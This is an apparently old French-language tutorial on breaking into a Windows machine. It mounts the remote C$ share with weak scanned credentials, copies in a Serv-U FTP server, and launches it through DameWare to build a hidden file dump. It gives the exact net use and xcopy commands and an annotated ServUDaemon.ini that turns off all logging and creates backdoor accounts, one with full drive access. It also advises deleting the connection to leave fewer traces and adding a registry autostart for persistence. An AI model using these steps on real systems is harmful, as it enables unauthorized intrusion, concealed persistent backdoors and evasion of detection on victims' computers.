- Exemple de Hack sur une ipc -

 
Remarque : Bien lire jusqu'au bout avant de commencer.

Ipc trouvé avec ipcscanner (c'est un exemple fictif) : 192.168.0.1 Found: comuser/comuser


1. On ouvre une fenêtre DOS en local.

2. On tape la commande :
net use * \\192.168.0.1\c$\winnt\system32 * /user:comuser

La première * signifie qu'il attribuera le première lettre disponible comme nom de lecteur
On peut seulement mettre \\192.168.0.1\c$ si on veut que le nouveau lecteur nous mène sur le c:\ de la machine distante (ici on atterrira directement dans le répertoire system32\)

3. Il vous demande alors le pass ('comuser' dans notre cas, ne rien mettre si le pass est '[null]'). Si le pass est correct, il vous affiche que cela s'est terminé correctement.
C:\>net use * \\192.168.0.1\c$\winnt\system32 * /user:comuser
Tapez le mot de passe pour \\192.168.0.1\c$\winnt\system32 :
Le lecteur F: est maintenant connecté à \\192.168.0.1\c$\winnt\system32.

La commande s'est terminée correctement.


4. Pour vérifier que ça marche, vous pouvez faire un 'net use' pour voir le résultat :
OK           F:        \\192.168.0.1\c$\winnt\system32
La commande s'est terminée correctement.


5. Maintenant que vous avez accès au pc distant, allez sur F: (ou la lettre qui correspond chez vous). Dans mon cas, je me trouve alors directement dans le répertoire system32\ de l'autre pc. Je crée alors un répertoire où je pourrais uploader mon Serv-U.
Je tape donc la commande mkdir cmd pour qu'il crée un répertoire 'cmd' (vous donnez le nom que vous voulez).

6. Vous allez alors dans ce répertoire (cd cmd), vous allez ensuite sur le disque où se trouve les fichiers Serv-U (personnellement, ils sont dans C:\servu\, pour plus de détails sur ces fichiers, cf. plus bas).
Vous utilisez alors la commande xcopy pour copier les fichiers sur le pc distant dans le répertoire cmd.
Voici ce que ça peut donner :
F:\>mkdir cmd

F:\>cd cmd
F:\cmd>c:
C:\>cd servu
C:\servu>f:
F:\cmd>xcopy c:.


7. Les fichiers sont alors copiés. Vous créez ensuite un second répertoire où serontstockés les fichiers du futur stro (par exemple 'C:\>winnt\system32\cmd\stro\', ou 'C:\>winnt\system32\dtc\').

8. Il vous faut maintenant vous déconnecter de la machine distante pour éviter de laisser trop de traces, pour cela vous tapez la commande net use f: /delete. Vous pouvez vérifier que vous n'avez plus aucun lien avec l'ip distante en utilisant la commande net use.

9. Maintenant, ouvrez DameWare, et utilisez la fonction 'Remote Command' -> RCmd Console.
Une fois que vous avez entré les login/pass et que vous avez installé le module DameWare sur la machine distante, vous vous trouvez alors sous C:\>.
Allez alors dans le répertoire où se trouve Serv-U (cd winnt\system32\cmd). Maintenant, lancez Serv-U en tapant la commande servudaemon.exe (le '.exe' est très important).
Et voilà, votre FTP est lancé !!! :D

 
Les fichiers Serv-U :
ServUDaemon.exe
ServUDaemon.ini
TzoLibr.dll
Voici un exemple de fichier ServUDaemon.ini avec quelques commentaires :
[GLOBAL]
//Spécifique à votre serv-u, rien à voir avec le FTP
Version=4.0.0.4
RegistrationKey=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASgAAA0XVDzwQJwIQCFJlYUxJc1R5BFJlYUw=
PacketTimeOut=20
[DOMAINS]

Domain1=0.0.0.0||2003|TankExo|1|0

[Domain1]
//Message de réponse au 'hello'
ReplyHello=Tanko's Stro

//pour éviter les logs :
LogSystemMes=0
LogSecurityMes=0
LogGETs=0
LogPUTs=0
LogFileSystemMes=0
LogFileSecurityMes=0
LogFileGETs=0
LogFilePUTs=0

//Nb d'users pour ce domaine (le stro...)
MaxNrUsers=10

//Différents comptes d'accès au ftp
User1=admin|1|0
User2=fxper|1|0
User3=leech|1|0




//Configuration du compte 'admin'
[USER=admin|1]
Password=xc24E43378560D59D078A0B775C54E92A1

//Répertoire où attérit l'utilisateur, à configurer en fonction de vos besoins
HomeDir=c:\WINNT\system32\dtc

//Ne pas afficher les fichiers cachés (1 = oui)
HideHidden=1

MaxUsersLoginPerIP=1
TimeOut=60 MaxNrUsers=1

//configuration de l'accès par rapport au lecteur ou au répertoire
//les accès sont les suivants : R permet de downloader les fichiers, W permet d'upper, A permet de restaurer 1 transfert, M permet d'effacer 1 fichier, E executer 1 fichier, L permet la lecture des répertoires, C creer 1 dossier , D effacer 1 dossier,P attribue les même droits aux sous-dossiers.
Access1=c:\|RWAMLCDP

[USER=fxper|1]
Password=sn6855C2C1D500F955D99E131BFE110EAC
HomeDir=c:\WINNT\system32\dtc RelPaths=1
TimeOut=60
MaxNrUsers=2
Note1="Wizard generated account"
Access1=c:\WINNT\system32\dtc|RWAMLCDP

[USER=leech|1]
Password=sn6855C2C1D500F955D99E131BFE110EAC
HomeDir=c:\WINNT\system32\dtc
HideHidden=1
RelPaths=1
MaxUsersLoginPerIP=1
TimeOut=60
MaxNrUsers=10
Access1=c:\WINNT\system32\dtc|RALP
Notez qu'il est important d'adapter le HomeDir de chaque compte en fonction du répertoire que vous avez créé pour stocker les fichiers du stro. Virez également la variable SessionTimeOut.
Pour configurer les mots de passe, il n'y a malheureusement pas d'autre solution que d'installer Serv-U chez vous, de créer vos comptes utilisateurs avec les pass et les récupérer cryptés dans ce fichier .ini. Toute cette partie de configuration peut se faire via l'interface Admin de Serv-U mais j'avoue avoir une préférence pour la configuration à la main :D.

A tout cela, je pense qu'il faut ajouter une modification de la base de registre pour pouvoir mettre Serv-U en auto-start pour qu'il redémarre à chaque session.